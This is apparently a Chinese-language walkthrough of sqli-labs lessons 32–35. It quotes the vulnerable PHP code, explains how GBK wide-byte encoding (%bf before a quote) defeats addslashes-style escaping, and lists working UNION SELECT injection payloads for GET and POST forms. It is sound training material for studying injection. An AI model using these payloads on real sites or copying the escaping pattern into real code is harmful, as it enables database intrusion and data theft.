Lesson - 32
GET - By Pass custom filter adding slashes to dangerous chars
首先进入欢迎界面:
构造 ?id=1,结果如图所示:
构造 ?id=1',结果如上图,不变。
构造 ?id=1",结果同上,不变。
但是根据本节提示,发现我们输入的单引号和双引号被转义。
本节学习宽字节注入。
后台php源码:
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
发现在执行SQL语句之前,设置了mysql字符集为GBK
利用此,可以进行宽字节注入。
sql注入中的宽字节国内最常使用的gbk编码,这种方式主要是绕过addslashes等对特殊字符进行转移的绕过。反斜杠()的十六进制为%5c,在你输入%bf%27时,函数遇到单引号自动转移加入\,此时变为%bf%5c%27,%bf%5c在gbk中变为一个宽字符“縗”。%bf那个位置可以是%81-%fe中间的任何字符。不止在sql注入中,宽字符注入在很多地方都可以应用。
构造 ?id=0%bf' union select 1,2,3 --+
结果如图所示:
Lesson - 33
GET - Bypass Add slashes
后台php源码:
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
同上节,注入语句.
构造 ?id=0%bf' union select 1,database(),3 --+
Lesson - 34
POST - Bypass Add slashes
后台源代码:
$uname1=$_POST['uname'];
$passwd1=$_POST['passwd'];
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
mysql_query("SET NAMES gbk");
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
同上节:
结果如图所示:
如果直接在username中输入 admin%bf' union select 1,2 #
而实际POST的数据为:
用修改POST数据的工具提交才能成功。
Lesson - 35
GET - Bypass Add slashes (we don't need them) Integer based
function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}
$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
构造 ?id=0 union select 1,database(),3
当语句中用到单引号时,再用%bf构成宽字节注入。